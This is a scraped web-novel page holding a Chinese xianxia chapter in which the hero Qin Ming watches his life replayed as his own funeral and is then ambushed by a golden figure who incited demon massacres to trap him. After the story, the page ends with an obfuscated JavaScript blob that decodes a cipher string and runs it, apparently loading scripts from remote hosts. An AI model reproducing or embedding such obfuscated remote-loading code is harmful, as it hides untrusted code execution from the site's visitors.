首页
第703章 一个人的葬礼
返回
关灯 护眼:关 字号:小

第703章 一个人的葬礼

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第704章一个人的葬礼
    黑雾翻涌,流血的落日缓缓沉坠,自此再也没有升起。
    身处夜雾世界,人们憧憬光明,对太阳心怀无尽向往。在这旧时代的白幕布上,无论映出朝霞还是残阳,本都寻常,只是一种精神寄托。
    可幕布之上,为何会有他的身影?
    秦铭凝视前方,不知道为何,心中莫名涌起一股寒意。
    山林间,兽吼没了,虫鸣消失,连夜风都已止住,四野落针可闻,陷入死一般的寂静。
    夜空中,巨大白幕布上,播放著他的过往。
    像是从斑驳时光里捞起的一截旧时代片段,一切早已褪色,这是一段没有声音的黑白影像。
    再次见到爷爷,秦铭眼底发酸,一别已是二十余年。
    他从未见过父母,祖孙二人相依为命,贫困交加,艰难度日。
    算一算时间,此生应该再也无法重逢。
    孟星海、黎爷他们发动了很多人手,都没有找到老人,早在秦铭离开夜州时,他就已经不抱希望。
    看著白幕布上幼年的自己,还有满脸沧桑的爷爷,秦铭静立了片刻。
    「我中招了吗。」
    不然的话,何以会有这种奇景?
    他附著在破布上,进行神游,正常来说,没有人可以发现他,更遑论是这样有针对地挡在前路上。
    秦铭无声退去,换了一个方向赶路。
    然而,巨大的白幕布,悬在前方,再次拦住他的去路。
    那是什么?具备怎样的力量与神秘,令老布都已暴露,无所遁形了吗?
    秦铭数次改换方位都没用,总有巨大的白幕布悬在他正前方的夜色下。
    偌大的山岭,安静到令人窒息,林木、荆棘纹丝不动,连叶片都不再摇曳,夜风敛息,万物皆陷入死寂。
    秦铭知道,走不掉了,他停在原地,看著白幕布上的画面。
    仿佛昨日重现,一幕幕旧事正在上演。
    那些是他的过往,是他有记忆后的真实经历。
    没有声音,黑白底色,投映著祖孙二人的艰难困苦生活,充满年代感。
    他安静地看著,像是回到了从前。
    对于三四岁就被迫分别的孩子而言,二十余年过去,实在太久远了,记忆都已褪色。
    此刻,秦铭如泥雕木塑般一动不动,怔怔地看著自己爷爷那张苍老的面孔,分明带著病色,那时老人走路就不利索了。
    直至画面上,年幼的他被送走,进入崔家,此后再也没有出现老人的身影。
    白幕布上,出现几个字:一个人的葬礼。
    秦铭后背生出一股凉意,谁的葬礼?
    没有声音的影像,正在沿著他曾经的轨迹,向后翻篇,一桩桩,一幕幕,这————是他的人生。
    究竟何意?
    秦铭身体僵硬,再次神游,选择远去,可是瞬息间,那巨大的白幕布依旧出现在前方,坚持阻路,并展现后面的画面。
    他降落在死寂的山林中,不再尝试摆脱幕布。
    他认真盯著黑白影像中的所有细节,像是重新经历了一遍自己的人生。
    虚假的崔家亲情,年少时就结识的黎清月,他带她去饮酒————
    随后,他遭逢人生剧变,成为弃子,被李清虚以竹棍打破头颅,接下来浑噩两年,在黑白山雪地中发疯狂奔,流落双树村。
    所有画面真切无比,秦铭沉浸其中。
    此刻时间仿佛已静止,那些曾经发生的事,在白幕布上逐一掠过,宛若走马灯轮转不熄。
    突然,秦铭有种惊悚感,道:「走马灯————」
    所有这些都像是一个人要死去了,临逝前的回忆,再加上白幕布上早先出现的那几个字,顿时让他毛骨悚然。
    后面的画面,对他来说更为熟悉,因为都是最近几年经历的事。
    他踏上修行路,走出黑白山,孟星海、余根生————神殇平原大战,待到后来,九霄之上斗剑,以及对外至高血斗等。
    秦铭身体冰凉,声音发颤,道:「老布,发生了什么?」
    白幕布上,展现的是他的人生轨迹,点点滴滴,没有一丝遗漏,像是汇总了二十几年的所有经历。
    幼时的他孤苦无依,年少后的意气风发,那些悲伤的,美好的,所有旧事都在寂静的时光中重现。
    秦铭不相信老布躲不开白幕布,为何会让他看到这些?
    毕竟,连天仙都无法窥探老布。
    它这么非凡莫测,今天怎么会任由一块白幕布阻路?
    「你————死去了。」神秘的破布,这么多年也没有说过几次话,但现在却开口了。
    秦铭全身冰凉,究竟发生了什么?
    他不是好端端地站在这里吗?
    他感觉荒谬,所谓一个人的葬礼,难道是他自己的吗?
    他呆立原地,消化著这一切,感觉不可思议,难以理解。
    「世事一场大梦,人生几度秋凉————」秦铭自语,难道他所经历的一切,都不过是一场梦,是虚假的人生?
    现在梦要醒了,人生要走到终点。
    还是说,片刻前,他突发意外,性命垂危,过往的一切,正在走马灯般流转,迅速回放?
    若是如此,秦铭很难接受,他全身冒起寒意,僵在此地。
    他让自己冷静,沉声道:「你是谁?陷我于莫名精神领域中,竟让我中了幻术。」
    他运转浊世青莲,也激活九霄书,想让自己的意识清明,摆脱莫名的幻觉,醒转过来。
    随后,秦铭更是一声低吼,帛书法生生不息,全面爆发混沌劲。
    可是,眼前所见景物依旧。
    秦铭问道:「我既死去,何以立足此地,且意识还在?这么久了,为什么还没有彻底消散?」
    破布道:「人临逝前,可以看到自己的一生,一刹那的永恒,时间已失去意义。」
    它叹息道:「对不住,你只是临时拥有者,我需遵守规则,无法主动出手,对你进行保护。」
    秦铭难以接受,道:「我真的死去了吗?正处在弥留之际,回顾著自己的过往?」
    可是,他连敌人是谁都不知道,怎么被斩杀的?
    他现在这种状态真的正常吗?
    破布声音低沉,道:「我尝试扰动了时光领域。」
    秦铭追问:「什么意思?」
    老布道:「你可以认为,这是你临死前的刹那回首,正在追忆过往,时光凝固在这一瞬,你即将消散。」
    它略微一顿,又叹道:「其实,我亦觉得可惜,无法干预,只能在光阴线上惊起些许微澜。故此,你也可以理解为,自己回到了死去前的一个重要节点。」
    秦铭出神,这是————两种解读,一是他消亡前的「走马灯」,二是破布领域荡起波澜,他的意识回到了出事前?
    老布道:「一切都已无法改变。」
    无论是一个人临死前的走马灯轮转,还是时光领域的淡淡涟漪,都会被抚平,回归既定轨迹。
    「我是如何死去的?」秦铭到现在都不知道凶手是谁,难道他还在特殊的时光涟漪荡漾区间内?
    破布道:「心软,善良,是你的弱点,你无愧至善宗师之名。」
    如果是周天、牛无为等人这样评价秦铭,无疑是在奚落结拜兄弟。可是,此刻神秘的异金布却很真诚。
    它示意,白幕布上正在上演真相。
    秦铭抬头观看,那是他的一生,是他一个人的葬礼。
    当他注视时,停滞的画面再次开始运转。
    他飞速掠过当中的细节,直透结局,他——确实死去了!
    一时间,他百感交集,自己的一生就这样结束了吗?
    幼时他孤苦无依,在记忆中,连父母什么样子都没有,不曾见过。
    三四岁他便与唯一的亲人分别,成为别人的替身。
    此后,他有过至暗低谷,有过高歌猛进期,但最终还是命运多舛,在不为人知的夜色中死去。
    这是他的葬礼,没有外人,只有他自己,倒在血泊中。
    「我这一生竟是如此凄凉吗?」
    最后一刻,自己身死在他乡,身边连一个人都没有,如同幼年那般,凄凄惨惨,孤孤单单。
    他在为自己送行。
    他刚接近二十四岁,已经成为最年轻的大圣,走到这个高度,算是英年早逝O
    「弥留之际吗?」秦铭仔细去看,自己究竟是怎么死去的。
    他有太多的遗憾,怎能这样匆匆落幕?
    「扰乱时光涟漪,似乎还是改变不了什么,待你消亡,我将与你半脱离,等待下一个有缘人。」
    这是破布的声音,然后它再无声息。
    时光紊乱,各种画面纷至沓来。
    秦铭头疼欲裂,他不知道,这是在回顾过往,还是投进了白幕布中,即将经历死亡前的所有片段。
    轰然一声,秦铭像是投身一股洪流中。
    他像是遗忘了刚才的事,融入幕布内,去见证真相,又像是从时光涟漪中抽身,回到既定的人生轨迹上。
    「什么情况,我刚才精神恍惚,略微走神了吗?」
    夜色下,正在赶路的秦铭附著在老布上,处在神游状态中,他短暂的驻足,用力摇了摇头后,再次上路。
    「无法改变。」神秘的破布,以超脱的视角,默默看著这一切。
    独自赶路的秦铭,正在沿著血淋淋的真相前行。
    「连过二十几座迷雾门,虽然早已脱离玄黄道场范围,但距离兜率宫地界还很远。」
    秦铭仔细感应,神藕身在前方,由一位绝顶地仙陪著赶路,残器天戈也跟著,当中有器灵六欲老魔和玄天。
    他的真身与神藕身相距很远,但跨度也不能过大,不然就会失去感应,无法共鸣。
    「这次将穿行一座上古遗留的迷雾门,跨度很大,我要稍微临近一些。」
    秦铭驾驭破布,神游的速度开始直线飙升。
    「嗯,什么情况,兽患这么严重吗?」
    秦铭的神藕身走出迷雾门后,在继续赶路的过程中,发现沿途有些村镇传出阵阵哭泣声,并有血腥味。
    他要赶向下一个迷雾门,这种特殊的门户彼此间,有时候离得很近,有时候却要有很长的路要走。
    秦铭没有犹豫,进入村落,发现很多家都在烧纸钱,伴著哭泣声,这里曾被妖兽入侵,村庄半数人死去。
    他仔细了解后,一路追踪妖魔。
    不久后,他看到更多的村镇遭遇劫难,兽患较为严重的地方,十室九空。
    甚至有些区域,连一个活人都没有逃出。
    「这片地界的壮年妖神想要变强,年老的妖神亦不甘心腐朽,都在为自己续命,两个妖神在争抢祭品。」
    那些妖魔,那些血兽,都是他们控制的部众,在为他们淬炼血精。
    玄黄道场的地仙皱眉道:「以血祭手段续命,并不高明,但却粗暴有效。」
    秦铭的神藕身郑重开口道:「既然遇上了,还请前辈出手相助。」
    这里是三不管地带,早已远离玄黄道场,与其他至高道场也不接轨,是最为黑暗血腥的地界。
    绝顶地仙点头,道:「好,既然遇上了,那就斩了那两尊第七境的妖神。」
    这便是至高道场强者的自信,面对野神,处在绝对强势领域,可以俯视,并能碾压。
    六欲道:「残酷的年代,道韵激烈动荡不止,野神为了自保,为了挣命,越来越肆无忌惮了。」
    他们一路杀妖,向著妖神的老巢赶去。
    途中,他们更是看到了一个牛族小城死气沉沉,生灵彻底灭绝,这是妖神亲自出手的结果。
    便是玄黄道场的绝顶地仙,心头亦沉重无比,道:「再这样下去,有些地界岂不是要千里人烟绝迹,甚至十万里无生灵?回去后,我要建议,由各大道场牵头,立下新规矩,不然夜雾世界要大乱了。
    当天,他亲自斩杀了一尊老妖神。
    他有玄黄气护体,可维系巅峰战力,面对这种腐朽的神灵,拥有压倒性优势。
    「这片浩大的地界中,有两尊妖神发疯,而在更远的地界,似乎还有其他神灵作乱————」老地仙眉头深锁。
    这是他斩掉妖神后,得到的糟糕消息。
    深夜,他将那尊壮年妖神也斩杀了。
    「夜雾世界难道真的要大乱了吗?」六欲老魔叹气。
    它与玄天都感觉不妙,回顾历史,眼下似乎又到了一个非常可怕的节点。
    就这样,他们再次上路,秦铭的神藕身,亲眼目睹沿途一些血淋淋的景象,有翼人族栖居地死气沉沉,更有地下鼠城恶臭熏天————可谓生灵涂炭。
    「虫神、腐朽的人族地仙————这些家伙都来三不管地带作乱了。」
    毫无疑问,他们的速度慢了下来。
    在接下来的路途中,不时可以见到血腥景象。
    「这片广袤的疆域中,最起码有五位第七境的强者为祸。」
    若是没有能力也就罢了,既然身边有绝顶地仙,秦铭自然想请他除恶,赶路多耽搁一些时日又不要紧。
    秦铭的真身跟在后方,沿途所见,可谓触目惊心。
    这便是真实的夜雾世界,在没有顶级道场坐镇的地带,一旦有强者作乱,完全没有秩序可言,如同人间炼狱般。
    他在思量,若是有朝一日,天地大环境更进一步恶化,连至高道场都无法自保时,是否他们也会下场,世间秩序全面崩塌,那时将更可怕。
    「娘,呜呜————」
    村庄中,一位少年声音发颤,守著父母的残体大哭。
    这里遭遇妖兽冲击后,死伤惨重,唯一庆幸的是,没有道行深的妖魔涉足这样偏远的区域。
    不然,将没有活口留下。
    秦铭的真身跟在后面,横渡过大山,将那些漏网的血兽、虫妖等斩杀。
    又是一个村落,青壮为了抵御血兽,没剩下多少。
    「爷爷!」一个幼童正在哭泣,守著一个老人的尸体,挂著泪痕,充满无助。
    秦铭提著染血的长刀,从山中走出,正好看到这一幕,不可避免地想到自己的身世,不禁走了过去。
    他有些同病相怜,进入这片破败的村落后,摸了摸幼童的头,一声叹息。
    还好,孩童的父母还在,他并不是孤孤单单一个人,只是他的爷爷很宠溺他,同时也是为保护他而死去,让他不舍,不断哭泣。
    秦铭再次上路,离开此地。
    神藕身在前方,并有地仙相伴,横扫道行高深的妖魔。秦铭的真身则是在后补刀,没什么可担忧的。
    主要也是因为,他每日都需要修行,不可能总是将肉身放在破布中蛰伏不出,那样的话道行将永远停滞不前。
    显然,沿途斩妖除魔,救助弱小,让他滞留在外的时间明显延长了。
    两日后,秦铭独自走在夜色中,在一座残留著血腥味的小镇外斩杀漏网妖魔时,突然身体僵住了。
    他竟然无法动弹,不能发声,连意识都被冻僵了,难以连续性思考,心灵之光不能运转。
    他像是一尊雕像,静立在夜色下。
    「不好,出事了,快回去!」秦铭的神藕身大叫,然后便直挺挺地仰天摔倒O
    因为,他的真身已经无法对这具化身进行共鸣。
    「糟了。」
    天戈中,六欲与玄天都嘶吼道,他们知道真相,这并不是秦铭的真身。
    玄黄道场的绝顶地仙,尽管不明详情,但依旧没有任何犹豫,提著秦铭的神藕身,跟六欲老魔发疯般向著来时路飞渡。
    夜色下,残破的小镇灯火暗淡,传出阵阵哭泣声,那里的火泉摇曳著,似乎快熄灭了。
    镇外,秦铭难以动弹,他的身体在裂开,发光的血液涌了出来。
    他想思考,想沟通破布,但是一切都已经迟了,他被压制著,肉身像是背负著一座沉重的大山。
    这莫名的力量动荡,已经让他皮开肉绽。
    最可怕的是,秦铭的精神场龟裂,思绪迟滞,像是被冰封了,纯阳意识越发暗淡,无法完整地思考。
    夜色里,一道金色的身影正在向他一步一步走来。
    来人像是立身在金色大日中,璀璨无比,驱散了黑暗,其身影颇为高大,露出的部分轮廓似乎很是威严。
    不过,其真容十分朦胧,难以看清。
    主要是,那烈阳太刺眼,再加上秦铭的状态很不对劲,他已失去敏锐的感知。
    恐怖的神秘人临近,一道道金霞飞出,落在秦铭身上,将他形神全面禁锢。
    「是你————」秦铭在思维近乎停滞的状态下,过了片刻,其意识才非常艰难地波动出这两个字。
    他已经很谨慎了,让神藕身秘密上路,并走在前方,应对可能存在的危局。
    纵使如此,他还是陷入绝境。
    「心软,容易死去。我委实没有想到,都不需要一系列的后续手段,便直接将你钓了出来。」来人漠然说道。
    这道金色身影很有压迫感,他曾经帮秦铭抵住自易命之地闯出来的腐朽天仙。
    在玄黄道场时,一些老怪物猜测,他多半来自那个神秘家族。
    可是眼下,他却对秦铭动手。
    显而易见,他洞彻了秦铭真身与化身的秘密,根本没有去盯著神藕身,而是在想方设法让其真身走出来。
    「妖患————」秦铭思维运转迟滞,依旧只能吐出两个字。
    金色身影开口:「一切都是我引导的,但并没指望你现身。我在你前往兜率宫的主要路段上,其实准备了更好的手段,只是没想到,根本用不上。」
    「畜生————」秦铭艰难发出意识波动。
    这个人为了狩猎他,根本不在意引导妖魔作乱的血腥后果。
    当初,金色身影与天外生灵大战时,秦铭选择躲避,因为并不能确定,此人究竟是好还是坏。
    现在一切都很清晰了,此人当时不过是在「护食」。
    他也盯上了秦铭,且有一定的了解,不然的话,怎么知道他可以隐去真身,以神藕身在外行走。
    此人一直在睁著血腥的眸子,于暗中窥视,今天终于忍不住下场。
    金色身影平静地开口:「其实,我很想将你养到祖师境,甚至七日叠加领域,那时再动手。可惜,不能等了,你与各家道场的关系越来越紧密,将来再动你,也许会出事。」
    秦铭的肉身被压制得裂开,且感觉到,正有一只纯阳大手探进他的精神场内。
    这一刻,他模糊感应到,破布难得一次主动轻微颤动,像是扰乱了时光领域。
    轰然一声,秦铭记起了所有,白幕布,黑白底色呈现的真相,顿时让他充满无力感。
    无论是他处在弥留之际,还是轻微让时间涟漪荡漾,都已经无法改变什么,他回到既定的轨迹上。
    「我这一生,幼年孤苦,连父母什么样子都没有记忆。如今尚不满二十四岁,便身死他乡,身边无一位亲故旧识,独自黯然离开————」秦铭感觉这一生太短暂,满心悲凉。他望向兜率宫方向,这次要食言了,无法再履行旧日约定。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();